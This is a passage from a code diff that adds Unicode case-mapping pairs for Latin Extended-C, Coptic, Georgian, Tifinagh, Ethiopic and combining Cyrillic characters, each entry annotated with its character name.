+ ["\u2C70", "\u0252"], /* LATIN CAPITAL LETTER TURNED ALPHA */
+ ["\u2C71", "\u2C71"], /* LATIN SMALL LETTER V WITH RIGHT HOOK */
+ ["\u2C72", "\u2C73"], /* LATIN CAPITAL LETTER W WITH HOOK */
+ ["\u2C72", "\u2C73"], /* LATIN SMALL LETTER W WITH HOOK */
+ ["\u2C74", "\u2C74"], /* LATIN SMALL LETTER V WITH CURL */
+ ["\u2C75", "\u2C76"], /* LATIN CAPITAL LETTER HALF H */
+ ["\u2C75", "\u2C76"], /* LATIN SMALL LETTER HALF H */
+ ["\u2C77", "\u2C77"], /* LATIN SMALL LETTER TAILLESS PHI */
+ ["\u2C78", "\u2C78"], /* LATIN SMALL LETTER E WITH NOTCH */
+ ["\u2C79", "\u2C79"], /* LATIN SMALL LETTER TURNED R WITH TAIL */
+ ["\u2C7A", "\u2C7A"], /* LATIN SMALL LETTER O WITH LOW RING INSIDE */
+ ["\u2C7B", "\u2C7B"], /* LATIN LETTER SMALL CAPITAL TURNED E */
+ ["\u2C7C", "\u2C7C"], /* LATIN SUBSCRIPT SMALL LETTER J */
+ ["\u2C7D", "\u2C7D"], /* MODIFIER LETTER CAPITAL V */
+ ["\u2C7E", "\u023F"], /* LATIN CAPITAL LETTER S WITH SWASH TAIL */
+ ["\u2C7F", "\u0240"], /* LATIN CAPITAL LETTER Z WITH SWASH TAIL */
+ ["\u2C80", "\u2C81"], /* COPTIC CAPITAL LETTER ALFA */
+ ["\u2C80", "\u2C81"], /* COPTIC SMALL LETTER ALFA */
+ ["\u2C82", "\u2C83"], /* COPTIC CAPITAL LETTER VIDA */
+ ["\u2C82", "\u2C83"], /* COPTIC SMALL LETTER VIDA */
+ ["\u2C84", "\u2C85"], /* COPTIC CAPITAL LETTER GAMMA */
+ ["\u2C84", "\u2C85"], /* COPTIC SMALL LETTER GAMMA */
+ ["\u2C86", "\u2C87"], /* COPTIC CAPITAL LETTER DALDA */
+ ["\u2C86", "\u2C87"], /* COPTIC SMALL LETTER DALDA */
+ ["\u2C88", "\u2C89"], /* COPTIC CAPITAL LETTER EIE */
+ ["\u2C88", "\u2C89"], /* COPTIC SMALL LETTER EIE */
+ ["\u2C8A", "\u2C8B"], /* COPTIC CAPITAL LETTER SOU */
+ ["\u2C8A", "\u2C8B"], /* COPTIC SMALL LETTER SOU */
+ ["\u2C8C", "\u2C8D"], /* COPTIC CAPITAL LETTER ZATA */
+ ["\u2C8C", "\u2C8D"], /* COPTIC SMALL LETTER ZATA */
+ ["\u2C8E", "\u2C8F"], /* COPTIC CAPITAL LETTER HATE */
+ ["\u2C8E", "\u2C8F"], /* COPTIC SMALL LETTER HATE */
+ ["\u2C90", "\u2C91"], /* COPTIC CAPITAL LETTER THETHE */
+ ["\u2C90", "\u2C91"], /* COPTIC SMALL LETTER THETHE */
+ ["\u2C92", "\u2C93"], /* COPTIC CAPITAL LETTER IAUDA */
+ ["\u2C92", "\u2C93"], /* COPTIC SMALL LETTER IAUDA */
+ ["\u2C94", "\u2C95"], /* COPTIC CAPITAL LETTER KAPA */
+ ["\u2C94", "\u2C95"], /* COPTIC SMALL LETTER KAPA */
+ ["\u2C96", "\u2C97"], /* COPTIC CAPITAL LETTER LAULA */
+ ["\u2C96", "\u2C97"], /* COPTIC SMALL LETTER LAULA */
+ ["\u2C98", "\u2C99"], /* COPTIC CAPITAL LETTER MI */
+ ["\u2C98", "\u2C99"], /* COPTIC SMALL LETTER MI */
+ ["\u2C9A", "\u2C9B"], /* COPTIC CAPITAL LETTER NI */
+ ["\u2C9A", "\u2C9B"], /* COPTIC SMALL LETTER NI */
+ ["\u2C9C", "\u2C9D"], /* COPTIC CAPITAL LETTER KSI */
+ ["\u2C9C", "\u2C9D"], /* COPTIC SMALL LETTER KSI */
+ ["\u2C9E", "\u2C9F"], /* COPTIC CAPITAL LETTER O */
+ ["\u2C9E", "\u2C9F"], /* COPTIC SMALL LETTER O */
+ ["\u2CA0", "\u2CA1"], /* COPTIC CAPITAL LETTER PI */
+ ["\u2CA0", "\u2CA1"], /* COPTIC SMALL LETTER PI */
+ ["\u2CA2", "\u2CA3"], /* COPTIC CAPITAL LETTER RO */
+ ["\u2CA2", "\u2CA3"], /* COPTIC SMALL LETTER RO */
+ ["\u2CA4", "\u2CA5"], /* COPTIC CAPITAL LETTER SIMA */
+ ["\u2CA4", "\u2CA5"], /* COPTIC SMALL LETTER SIMA */
+ ["\u2CA6", "\u2CA7"], /* COPTIC CAPITAL LETTER TAU */
+ ["\u2CA6", "\u2CA7"], /* COPTIC SMALL LETTER TAU */
+ ["\u2CA8", "\u2CA9"], /* COPTIC CAPITAL LETTER UA */
+ ["\u2CA8", "\u2CA9"], /* COPTIC SMALL LETTER UA */
+ ["\u2CAA", "\u2CAB"], /* COPTIC CAPITAL LETTER FI */
+ ["\u2CAA", "\u2CAB"], /* COPTIC SMALL LETTER FI */
+ ["\u2CAC", "\u2CAD"], /* COPTIC CAPITAL LETTER KHI */
+ ["\u2CAC", "\u2CAD"], /* COPTIC SMALL LETTER KHI */
+ ["\u2CAE", "\u2CAF"], /* COPTIC CAPITAL LETTER PSI */
+ ["\u2CAE", "\u2CAF"], /* COPTIC SMALL LETTER PSI */
+ ["\u2CB0", "\u2CB1"], /* COPTIC CAPITAL LETTER OOU */
+ ["\u2CB0", "\u2CB1"], /* COPTIC SMALL LETTER OOU */
+ ["\u2CB2", "\u2CB3"], /* COPTIC CAPITAL LETTER DIALECT-P ALEF */
+ ["\u2CB2", "\u2CB3"], /* COPTIC SMALL LETTER DIALECT-P ALEF */
+ ["\u2CB4", "\u2CB5"], /* COPTIC CAPITAL LETTER OLD COPTIC AIN */
+ ["\u2CB4", "\u2CB5"], /* COPTIC SMALL LETTER OLD COPTIC AIN */
+ ["\u2CB6", "\u2CB7"], /* COPTIC CAPITAL LETTER CRYPTOGRAMMIC EIE */
+ ["\u2CB6", "\u2CB7"], /* COPTIC SMALL LETTER CRYPTOGRAMMIC EIE */
+ ["\u2CB8", "\u2CB9"], /* COPTIC CAPITAL LETTER DIALECT-P KAPA */
+ ["\u2CB8", "\u2CB9"], /* COPTIC SMALL LETTER DIALECT-P KAPA */
+ ["\u2CBA", "\u2CBB"], /* COPTIC CAPITAL LETTER DIALECT-P NI */
+ ["\u2CBA", "\u2CBB"], /* COPTIC SMALL LETTER DIALECT-P NI */
+ ["\u2CBC", "\u2CBD"], /* COPTIC CAPITAL LETTER CRYPTOGRAMMIC NI */
+ ["\u2CBC", "\u2CBD"], /* COPTIC SMALL LETTER CRYPTOGRAMMIC NI */
+ ["\u2CBE", "\u2CBF"], /* COPTIC CAPITAL LETTER OLD COPTIC OOU */
+ ["\u2CBE", "\u2CBF"], /* COPTIC SMALL LETTER OLD COPTIC OOU */
+ ["\u2CC0", "\u2CC1"], /* COPTIC CAPITAL LETTER SAMPI */
+ ["\u2CC0", "\u2CC1"], /* COPTIC SMALL LETTER SAMPI */
+ ["\u2CC2", "\u2CC3"], /* COPTIC CAPITAL LETTER CROSSED SHEI */
+ ["\u2CC2", "\u2CC3"], /* COPTIC SMALL LETTER CROSSED SHEI */
+ ["\u2CC4", "\u2CC5"], /* COPTIC CAPITAL LETTER OLD COPTIC SHEI */
+ ["\u2CC4", "\u2CC5"], /* COPTIC SMALL LETTER OLD COPTIC SHEI */
+ ["\u2CC6", "\u2CC7"], /* COPTIC CAPITAL LETTER OLD COPTIC ESH */
+ ["\u2CC6", "\u2CC7"], /* COPTIC SMALL LETTER OLD COPTIC ESH */
+ ["\u2CC8", "\u2CC9"], /* COPTIC CAPITAL LETTER AKHMIMIC KHEI */
+ ["\u2CC8", "\u2CC9"], /* COPTIC SMALL LETTER AKHMIMIC KHEI */
+ ["\u2CCA", "\u2CCB"], /* COPTIC CAPITAL LETTER DIALECT-P HORI */
+ ["\u2CCA", "\u2CCB"], /* COPTIC SMALL LETTER DIALECT-P HORI */
+ ["\u2CCC", "\u2CCD"], /* COPTIC CAPITAL LETTER OLD COPTIC HORI */
+ ["\u2CCC", "\u2CCD"], /* COPTIC SMALL LETTER OLD COPTIC HORI */
+ ["\u2CCE", "\u2CCF"], /* COPTIC CAPITAL LETTER OLD COPTIC HA */
+ ["\u2CCE", "\u2CCF"], /* COPTIC SMALL LETTER OLD COPTIC HA */
+ ["\u2CD0", "\u2CD1"], /* COPTIC CAPITAL LETTER L-SHAPED HA */
+ ["\u2CD0", "\u2CD1"], /* COPTIC SMALL LETTER L-SHAPED HA */
+ ["\u2CD2", "\u2CD3"], /* COPTIC CAPITAL LETTER OLD COPTIC HEI */
+ ["\u2CD2", "\u2CD3"], /* COPTIC SMALL LETTER OLD COPTIC HEI */
+ ["\u2CD4", "\u2CD5"], /* COPTIC CAPITAL LETTER OLD COPTIC HAT */
+ ["\u2CD4", "\u2CD5"], /* COPTIC SMALL LETTER OLD COPTIC HAT */
+ ["\u2CD6", "\u2CD7"], /* COPTIC CAPITAL LETTER OLD COPTIC GANGIA */
+ ["\u2CD6", "\u2CD7"], /* COPTIC SMALL LETTER OLD COPTIC GANGIA */
+ ["\u2CD8", "\u2CD9"], /* COPTIC CAPITAL LETTER OLD COPTIC DJA */
+ ["\u2CD8", "\u2CD9"], /* COPTIC SMALL LETTER OLD COPTIC DJA */
+ ["\u2CDA", "\u2CDB"], /* COPTIC CAPITAL LETTER OLD COPTIC SHIMA */
+ ["\u2CDA", "\u2CDB"], /* COPTIC SMALL LETTER OLD COPTIC SHIMA */
+ ["\u2CDC", "\u2CDD"], /* COPTIC CAPITAL LETTER OLD NUBIAN SHIMA */
+ ["\u2CDC", "\u2CDD"], /* COPTIC SMALL LETTER OLD NUBIAN SHIMA */
+ ["\u2CDE", "\u2CDF"], /* COPTIC CAPITAL LETTER OLD NUBIAN NGI */
+ ["\u2CDE", "\u2CDF"], /* COPTIC SMALL LETTER OLD NUBIAN NGI */
+ ["\u2CE0", "\u2CE1"], /* COPTIC CAPITAL LETTER OLD NUBIAN NYI */
+ ["\u2CE0", "\u2CE1"], /* COPTIC SMALL LETTER OLD NUBIAN NYI */
+ ["\u2CE2", "\u2CE3"], /* COPTIC CAPITAL LETTER OLD NUBIAN WAU */
+ ["\u2CE2", "\u2CE3"], /* COPTIC SMALL LETTER OLD NUBIAN WAU */
+ ["\u2CE4", "\u2CE4"], /* COPTIC SYMBOL KAI */
+ ["\u2CE5", "\u2CE5"], /* COPTIC SYMBOL MI RO */
+ ["\u2CE6", "\u2CE6"], /* COPTIC SYMBOL PI RO */
+ ["\u2CE7", "\u2CE7"], /* COPTIC SYMBOL STAUROS */
+ ["\u2CE8", "\u2CE8"], /* COPTIC SYMBOL TAU RO */
+ ["\u2CE9", "\u2CE9"], /* COPTIC SYMBOL KHI RO */
+ ["\u2CEA", "\u2CEA"], /* COPTIC SYMBOL SHIMA SIMA */
+ ["\u2CEB", "\u2CEC"], /* COPTIC CAPITAL LETTER CRYPTOGRAMMIC SHEI */
+ ["\u2CEB", "\u2CEC"], /* COPTIC SMALL LETTER CRYPTOGRAMMIC SHEI */
+ ["\u2CED", "\u2CEE"], /* COPTIC CAPITAL LETTER CRYPTOGRAMMIC GANGIA */
+ ["\u2CED", "\u2CEE"], /* COPTIC SMALL LETTER CRYPTOGRAMMIC GANGIA */
+ ["\u2CEF", "\u2CEF"], /* COPTIC COMBINING NI ABOVE */
+ ["\u2CF0", "\u2CF0"], /* COPTIC COMBINING SPIRITUS ASPER */
+ ["\u2CF1", "\u2CF1"], /* COPTIC COMBINING SPIRITUS LENIS */
+ ["\u2CF2", "\u2CF3"], /* COPTIC CAPITAL LETTER BOHAIRIC KHEI */
+ ["\u2CF2", "\u2CF3"], /* COPTIC SMALL LETTER BOHAIRIC KHEI */
+ ["\u2CF4", "\u2CF4"],
+ ["\u2CF5", "\u2CF5"],
+ ["\u2CF6", "\u2CF6"],
+ ["\u2CF7", "\u2CF7"],
+ ["\u2CF8", "\u2CF8"],
+ ["\u2CF9", "\u2CF9"], /* COPTIC OLD NUBIAN FULL STOP */
+ ["\u2CFA", "\u2CFA"], /* COPTIC OLD NUBIAN DIRECT QUESTION MARK */
+ ["\u2CFB", "\u2CFB"], /* COPTIC OLD NUBIAN INDIRECT QUESTION MARK */
+ ["\u2CFC", "\u2CFC"], /* COPTIC OLD NUBIAN VERSE DIVIDER */
+ ["\u2CFD", "\u2CFD"], /* COPTIC FRACTION ONE HALF */
+ ["\u2CFE", "\u2CFE"], /* COPTIC FULL STOP */
+ ["\u2CFF", "\u2CFF"], /* COPTIC MORPHOLOGICAL DIVIDER */
+ ["\u10A0", "\u2D00"], /* GEORGIAN SMALL LETTER AN */
+ ["\u10A1", "\u2D01"], /* GEORGIAN SMALL LETTER BAN */
+ ["\u10A2", "\u2D02"], /* GEORGIAN SMALL LETTER GAN */
+ ["\u10A3", "\u2D03"], /* GEORGIAN SMALL LETTER DON */
+ ["\u10A4", "\u2D04"], /* GEORGIAN SMALL LETTER EN */
+ ["\u10A5", "\u2D05"], /* GEORGIAN SMALL LETTER VIN */
+ ["\u10A6", "\u2D06"], /* GEORGIAN SMALL LETTER ZEN */
+ ["\u10A7", "\u2D07"], /* GEORGIAN SMALL LETTER TAN */
+ ["\u10A8", "\u2D08"], /* GEORGIAN SMALL LETTER IN */
+ ["\u10A9", "\u2D09"], /* GEORGIAN SMALL LETTER KAN */
+ ["\u10AA", "\u2D0A"], /* GEORGIAN SMALL LETTER LAS */
+ ["\u10AB", "\u2D0B"], /* GEORGIAN SMALL LETTER MAN */
+ ["\u10AC", "\u2D0C"], /* GEORGIAN SMALL LETTER NAR */
+ ["\u10AD", "\u2D0D"], /* GEORGIAN SMALL LETTER ON */
+ ["\u10AE", "\u2D0E"], /* GEORGIAN SMALL LETTER PAR */
+ ["\u10AF", "\u2D0F"], /* GEORGIAN SMALL LETTER ZHAR */
+ ["\u10B0", "\u2D10"], /* GEORGIAN SMALL LETTER RAE */
+ ["\u10B1", "\u2D11"], /* GEORGIAN SMALL LETTER SAN */
+ ["\u10B2", "\u2D12"], /* GEORGIAN SMALL LETTER TAR */
+ ["\u10B3", "\u2D13"], /* GEORGIAN SMALL LETTER UN */
+ ["\u10B4", "\u2D14"], /* GEORGIAN SMALL LETTER PHAR */
+ ["\u10B5", "\u2D15"], /* GEORGIAN SMALL LETTER KHAR */
+ ["\u10B6", "\u2D16"], /* GEORGIAN SMALL LETTER GHAN */
+ ["\u10B7", "\u2D17"], /* GEORGIAN SMALL LETTER QAR */
+ ["\u10B8", "\u2D18"], /* GEORGIAN SMALL LETTER SHIN */
+ ["\u10B9", "\u2D19"], /* GEORGIAN SMALL LETTER CHIN */
+ ["\u10BA", "\u2D1A"], /* GEORGIAN SMALL LETTER CAN */
+ ["\u10BB", "\u2D1B"], /* GEORGIAN SMALL LETTER JIL */
+ ["\u10BC", "\u2D1C"], /* GEORGIAN SMALL LETTER CIL */
+ ["\u10BD", "\u2D1D"], /* GEORGIAN SMALL LETTER CHAR */
+ ["\u10BE", "\u2D1E"], /* GEORGIAN SMALL LETTER XAN */
+ ["\u10BF", "\u2D1F"], /* GEORGIAN SMALL LETTER JHAN */
+ ["\u10C0", "\u2D20"], /* GEORGIAN SMALL LETTER HAE */
+ ["\u10C1", "\u2D21"], /* GEORGIAN SMALL LETTER HE */
+ ["\u10C2", "\u2D22"], /* GEORGIAN SMALL LETTER HIE */
+ ["\u10C3", "\u2D23"], /* GEORGIAN SMALL LETTER WE */
+ ["\u10C4", "\u2D24"], /* GEORGIAN SMALL LETTER HAR */
+ ["\u10C5", "\u2D25"], /* GEORGIAN SMALL LETTER HOE */
+ ["\u2D26", "\u2D26"],
+ ["\u10C7", "\u2D27"], /* GEORGIAN SMALL LETTER YN */
+ ["\u2D28", "\u2D28"],
+ ["\u2D29", "\u2D29"],
+ ["\u2D2A", "\u2D2A"],
+ ["\u2D2B", "\u2D2B"],
+ ["\u2D2C", "\u2D2C"],
+ ["\u10CD", "\u2D2D"], /* GEORGIAN SMALL LETTER AEN */
+ ["\u2D2E", "\u2D2E"],
+ ["\u2D2F", "\u2D2F"],
+ ["\u2D30", "\u2D30"], /* TIFINAGH LETTER YA */
+ ["\u2D31", "\u2D31"], /* TIFINAGH LETTER YAB */
+ ["\u2D32", "\u2D32"], /* TIFINAGH LETTER YABH */
+ ["\u2D33", "\u2D33"], /* TIFINAGH LETTER YAG */
+ ["\u2D34", "\u2D34"], /* TIFINAGH LETTER YAGHH */
+ ["\u2D35", "\u2D35"], /* TIFINAGH LETTER BERBER ACADEMY YAJ */
+ ["\u2D36", "\u2D36"], /* TIFINAGH LETTER YAJ */
+ ["\u2D37", "\u2D37"], /* TIFINAGH LETTER YAD */
+ ["\u2D38", "\u2D38"], /* TIFINAGH LETTER YADH */
+ ["\u2D39", "\u2D39"], /* TIFINAGH LETTER YADD */
+ ["\u2D3A", "\u2D3A"], /* TIFINAGH LETTER YADDH */
+ ["\u2D3B", "\u2D3B"], /* TIFINAGH LETTER YEY */
+ ["\u2D3C", "\u2D3C"], /* TIFINAGH LETTER YAF */
+ ["\u2D3D", "\u2D3D"], /* TIFINAGH LETTER YAK */
+ ["\u2D3E", "\u2D3E"], /* TIFINAGH LETTER TUAREG YAK */
+ ["\u2D3F", "\u2D3F"], /* TIFINAGH LETTER YAKHH */
+ ["\u2D40", "\u2D40"], /* TIFINAGH LETTER YAH */
+ ["\u2D41", "\u2D41"], /* TIFINAGH LETTER BERBER ACADEMY YAH */
+ ["\u2D42", "\u2D42"], /* TIFINAGH LETTER TUAREG YAH */
+ ["\u2D43", "\u2D43"], /* TIFINAGH LETTER YAHH */
+ ["\u2D44", "\u2D44"], /* TIFINAGH LETTER YAA */
+ ["\u2D45", "\u2D45"], /* TIFINAGH LETTER YAKH */
+ ["\u2D46", "\u2D46"], /* TIFINAGH LETTER TUAREG YAKH */
+ ["\u2D47", "\u2D47"], /* TIFINAGH LETTER YAQ */
+ ["\u2D48", "\u2D48"], /* TIFINAGH LETTER TUAREG YAQ */
+ ["\u2D49", "\u2D49"], /* TIFINAGH LETTER YI */
+ ["\u2D4A", "\u2D4A"], /* TIFINAGH LETTER YAZH */
+ ["\u2D4B", "\u2D4B"], /* TIFINAGH LETTER AHAGGAR YAZH */
+ ["\u2D4C", "\u2D4C"], /* TIFINAGH LETTER TUAREG YAZH */
+ ["\u2D4D", "\u2D4D"], /* TIFINAGH LETTER YAL */
+ ["\u2D4E", "\u2D4E"], /* TIFINAGH LETTER YAM */
+ ["\u2D4F", "\u2D4F"], /* TIFINAGH LETTER YAN */
+ ["\u2D50", "\u2D50"], /* TIFINAGH LETTER TUAREG YAGN */
+ ["\u2D51", "\u2D51"], /* TIFINAGH LETTER TUAREG YANG */
+ ["\u2D52", "\u2D52"], /* TIFINAGH LETTER YAP */
+ ["\u2D53", "\u2D53"], /* TIFINAGH LETTER YU */
+ ["\u2D54", "\u2D54"], /* TIFINAGH LETTER YAR */
+ ["\u2D55", "\u2D55"], /* TIFINAGH LETTER YARR */
+ ["\u2D56", "\u2D56"], /* TIFINAGH LETTER YAGH */
+ ["\u2D57", "\u2D57"], /* TIFINAGH LETTER TUAREG YAGH */
+ ["\u2D58", "\u2D58"], /* TIFINAGH LETTER AYER YAGH */
+ ["\u2D59", "\u2D59"], /* TIFINAGH LETTER YAS */
+ ["\u2D5A", "\u2D5A"], /* TIFINAGH LETTER YASS */
+ ["\u2D5B", "\u2D5B"], /* TIFINAGH LETTER YASH */
+ ["\u2D5C", "\u2D5C"], /* TIFINAGH LETTER YAT */
+ ["\u2D5D", "\u2D5D"], /* TIFINAGH LETTER YATH */
+ ["\u2D5E", "\u2D5E"], /* TIFINAGH LETTER YACH */
+ ["\u2D5F", "\u2D5F"], /* TIFINAGH LETTER YATT */
+ ["\u2D60", "\u2D60"], /* TIFINAGH LETTER YAV */
+ ["\u2D61", "\u2D61"], /* TIFINAGH LETTER YAW */
+ ["\u2D62", "\u2D62"], /* TIFINAGH LETTER YAY */
+ ["\u2D63", "\u2D63"], /* TIFINAGH LETTER YAZ */
+ ["\u2D64", "\u2D64"], /* TIFINAGH LETTER TAWELLEMET YAZ */
+ ["\u2D65", "\u2D65"], /* TIFINAGH LETTER YAZZ */
+ ["\u2D66", "\u2D66"], /* TIFINAGH LETTER YE */
+ ["\u2D67", "\u2D67"], /* TIFINAGH LETTER YO */
+ ["\u2D68", "\u2D68"],
+ ["\u2D69", "\u2D69"],
+ ["\u2D6A", "\u2D6A"],
+ ["\u2D6B", "\u2D6B"],
+ ["\u2D6C", "\u2D6C"],
+ ["\u2D6D", "\u2D6D"],
+ ["\u2D6E", "\u2D6E"],
+ ["\u2D6F", "\u2D6F"], /* TIFINAGH MODIFIER LETTER LABIALIZATION MARK */
+ ["\u2D70", "\u2D70"], /* TIFINAGH SEPARATOR MARK */
+ ["\u2D71", "\u2D71"],
+ ["\u2D72", "\u2D72"],
+ ["\u2D73", "\u2D73"],
+ ["\u2D74", "\u2D74"],
+ ["\u2D75", "\u2D75"],
+ ["\u2D76", "\u2D76"],
+ ["\u2D77", "\u2D77"],
+ ["\u2D78", "\u2D78"],
+ ["\u2D79", "\u2D79"],
+ ["\u2D7A", "\u2D7A"],
+ ["\u2D7B", "\u2D7B"],
+ ["\u2D7C", "\u2D7C"],
+ ["\u2D7D", "\u2D7D"],
+ ["\u2D7E", "\u2D7E"],
+ ["\u2D7F", "\u2D7F"], /* TIFINAGH CONSONANT JOINER */
+ ["\u2D80", "\u2D80"], /* ETHIOPIC SYLLABLE LOA */
+ ["\u2D81", "\u2D81"], /* ETHIOPIC SYLLABLE MOA */
+ ["\u2D82", "\u2D82"], /* ETHIOPIC SYLLABLE ROA */
+ ["\u2D83", "\u2D83"], /* ETHIOPIC SYLLABLE SOA */
+ ["\u2D84", "\u2D84"], /* ETHIOPIC SYLLABLE SHOA */
+ ["\u2D85", "\u2D85"], /* ETHIOPIC SYLLABLE BOA */
+ ["\u2D86", "\u2D86"], /* ETHIOPIC SYLLABLE TOA */
+ ["\u2D87", "\u2D87"], /* ETHIOPIC SYLLABLE COA */
+ ["\u2D88", "\u2D88"], /* ETHIOPIC SYLLABLE NOA */
+ ["\u2D89", "\u2D89"], /* ETHIOPIC SYLLABLE NYOA */
+ ["\u2D8A", "\u2D8A"], /* ETHIOPIC SYLLABLE GLOTTAL OA */
+ ["\u2D8B", "\u2D8B"], /* ETHIOPIC SYLLABLE ZOA */
+ ["\u2D8C", "\u2D8C"], /* ETHIOPIC SYLLABLE DOA */
+ ["\u2D8D", "\u2D8D"], /* ETHIOPIC SYLLABLE DDOA */
+ ["\u2D8E", "\u2D8E"], /* ETHIOPIC SYLLABLE JOA */
+ ["\u2D8F", "\u2D8F"], /* ETHIOPIC SYLLABLE THOA */
+ ["\u2D90", "\u2D90"], /* ETHIOPIC SYLLABLE CHOA */
+ ["\u2D91", "\u2D91"], /* ETHIOPIC SYLLABLE PHOA */
+ ["\u2D92", "\u2D92"], /* ETHIOPIC SYLLABLE POA */
+ ["\u2D93", "\u2D93"], /* ETHIOPIC SYLLABLE GGWA */
+ ["\u2D94", "\u2D94"], /* ETHIOPIC SYLLABLE GGWI */
+ ["\u2D95", "\u2D95"], /* ETHIOPIC SYLLABLE GGWEE */
+ ["\u2D96", "\u2D96"], /* ETHIOPIC SYLLABLE GGWE */
+ ["\u2D97", "\u2D97"],
+ ["\u2D98", "\u2D98"],
+ ["\u2D99", "\u2D99"],
+ ["\u2D9A", "\u2D9A"],
+ ["\u2D9B", "\u2D9B"],
+ ["\u2D9C", "\u2D9C"],
+ ["\u2D9D", "\u2D9D"],
+ ["\u2D9E", "\u2D9E"],
+ ["\u2D9F", "\u2D9F"],
+ ["\u2DA0", "\u2DA0"], /* ETHIOPIC SYLLABLE SSA */
+ ["\u2DA1", "\u2DA1"], /* ETHIOPIC SYLLABLE SSU */
+ ["\u2DA2", "\u2DA2"], /* ETHIOPIC SYLLABLE SSI */
+ ["\u2DA3", "\u2DA3"], /* ETHIOPIC SYLLABLE SSAA */
+ ["\u2DA4", "\u2DA4"], /* ETHIOPIC SYLLABLE SSEE */
+ ["\u2DA5", "\u2DA5"], /* ETHIOPIC SYLLABLE SSE */
+ ["\u2DA6", "\u2DA6"], /* ETHIOPIC SYLLABLE SSO */
+ ["\u2DA7", "\u2DA7"],
+ ["\u2DA8", "\u2DA8"], /* ETHIOPIC SYLLABLE CCA */
+ ["\u2DA9", "\u2DA9"], /* ETHIOPIC SYLLABLE CCU */
+ ["\u2DAA", "\u2DAA"], /* ETHIOPIC SYLLABLE CCI */
+ ["\u2DAB", "\u2DAB"], /* ETHIOPIC SYLLABLE CCAA */
+ ["\u2DAC", "\u2DAC"], /* ETHIOPIC SYLLABLE CCEE */
+ ["\u2DAD", "\u2DAD"], /* ETHIOPIC SYLLABLE CCE */
+ ["\u2DAE", "\u2DAE"], /* ETHIOPIC SYLLABLE CCO */
+ ["\u2DAF", "\u2DAF"],
+ ["\u2DB0", "\u2DB0"], /* ETHIOPIC SYLLABLE ZZA */
+ ["\u2DB1", "\u2DB1"], /* ETHIOPIC SYLLABLE ZZU */
+ ["\u2DB2", "\u2DB2"], /* ETHIOPIC SYLLABLE ZZI */
+ ["\u2DB3", "\u2DB3"], /* ETHIOPIC SYLLABLE ZZAA */
+ ["\u2DB4", "\u2DB4"], /* ETHIOPIC SYLLABLE ZZEE */
+ ["\u2DB5", "\u2DB5"], /* ETHIOPIC SYLLABLE ZZE */
+ ["\u2DB6", "\u2DB6"], /* ETHIOPIC SYLLABLE ZZO */
+ ["\u2DB7", "\u2DB7"],
+ ["\u2DB8", "\u2DB8"], /* ETHIOPIC SYLLABLE CCHA */
+ ["\u2DB9", "\u2DB9"], /* ETHIOPIC SYLLABLE CCHU */
+ ["\u2DBA", "\u2DBA"], /* ETHIOPIC SYLLABLE CCHI */
+ ["\u2DBB", "\u2DBB"], /* ETHIOPIC SYLLABLE CCHAA */
+ ["\u2DBC", "\u2DBC"], /* ETHIOPIC SYLLABLE CCHEE */
+ ["\u2DBD", "\u2DBD"], /* ETHIOPIC SYLLABLE CCHE */
+ ["\u2DBE", "\u2DBE"], /* ETHIOPIC SYLLABLE CCHO */
+ ["\u2DBF", "\u2DBF"],
+ ["\u2DC0", "\u2DC0"], /* ETHIOPIC SYLLABLE QYA */
+ ["\u2DC1", "\u2DC1"], /* ETHIOPIC SYLLABLE QYU */
+ ["\u2DC2", "\u2DC2"], /* ETHIOPIC SYLLABLE QYI */
+ ["\u2DC3", "\u2DC3"], /* ETHIOPIC SYLLABLE QYAA */
+ ["\u2DC4", "\u2DC4"], /* ETHIOPIC SYLLABLE QYEE */
+ ["\u2DC5", "\u2DC5"], /* ETHIOPIC SYLLABLE QYE */
+ ["\u2DC6", "\u2DC6"], /* ETHIOPIC SYLLABLE QYO */
+ ["\u2DC7", "\u2DC7"],
+ ["\u2DC8", "\u2DC8"], /* ETHIOPIC SYLLABLE KYA */
+ ["\u2DC9", "\u2DC9"], /* ETHIOPIC SYLLABLE KYU */
+ ["\u2DCA", "\u2DCA"], /* ETHIOPIC SYLLABLE KYI */
+ ["\u2DCB", "\u2DCB"], /* ETHIOPIC SYLLABLE KYAA */
+ ["\u2DCC", "\u2DCC"], /* ETHIOPIC SYLLABLE KYEE */
+ ["\u2DCD", "\u2DCD"], /* ETHIOPIC SYLLABLE KYE */
+ ["\u2DCE", "\u2DCE"], /* ETHIOPIC SYLLABLE KYO */
+ ["\u2DCF", "\u2DCF"],
+ ["\u2DD0", "\u2DD0"], /* ETHIOPIC SYLLABLE XYA */
+ ["\u2DD1", "\u2DD1"], /* ETHIOPIC SYLLABLE XYU */
+ ["\u2DD2", "\u2DD2"], /* ETHIOPIC SYLLABLE XYI */
+ ["\u2DD3", "\u2DD3"], /* ETHIOPIC SYLLABLE XYAA */
+ ["\u2DD4", "\u2DD4"], /* ETHIOPIC SYLLABLE XYEE */
+ ["\u2DD5", "\u2DD5"], /* ETHIOPIC SYLLABLE XYE */
+ ["\u2DD6", "\u2DD6"], /* ETHIOPIC SYLLABLE XYO */
+ ["\u2DD7", "\u2DD7"],
+ ["\u2DD8", "\u2DD8"], /* ETHIOPIC SYLLABLE GYA */
+ ["\u2DD9", "\u2DD9"], /* ETHIOPIC SYLLABLE GYU */
+ ["\u2DDA", "\u2DDA"], /* ETHIOPIC SYLLABLE GYI */
+ ["\u2DDB", "\u2DDB"], /* ETHIOPIC SYLLABLE GYAA */
+ ["\u2DDC", "\u2DDC"], /* ETHIOPIC SYLLABLE GYEE */
+ ["\u2DDD", "\u2DDD"], /* ETHIOPIC SYLLABLE GYE */
+ ["\u2DDE", "\u2DDE"], /* ETHIOPIC SYLLABLE GYO */
+ ["\u2DDF", "\u2DDF"],
+ ["\u2DE0", "\u2DE0"], /* COMBINING CYRILLIC LETTER BE */
+ ["\u2DE1", "\u2DE1"], /* COMBINING CYRILLIC LETTER VE */
+ ["\u2DE2", "\u2DE2"], /* COMBINING CYRILLIC LETTER GHE */
+ ["\u2DE3", "\u2DE3"], /* COMBINING CYRILLIC LETTER DE */
+ ["\u2DE4", "\u2DE4"], /* COMBINING CYRILLIC LETTER ZHE */
+ ["\u2DE5", "\u2DE5"], /* COMBINING CYRILLIC LETTER ZE */
+ ["\u2DE6", "\u2DE6"], /* COMBINING CYRILLIC LETTER KA */
+ ["\u2DE7", "\u2DE7"], /* COMBINING CYRILLIC LETTER EL */
+ ["\u2DE8", "\u2DE8"], /* COMBINING CYRILLIC LETTER EM */
+ ["\u2DE9", "\u2DE9"], /* COMBINING CYRILLIC LETTER EN */
+ ["\u2DEA", "\u2DEA"], /* COMBINING CYRILLIC LETTER O */
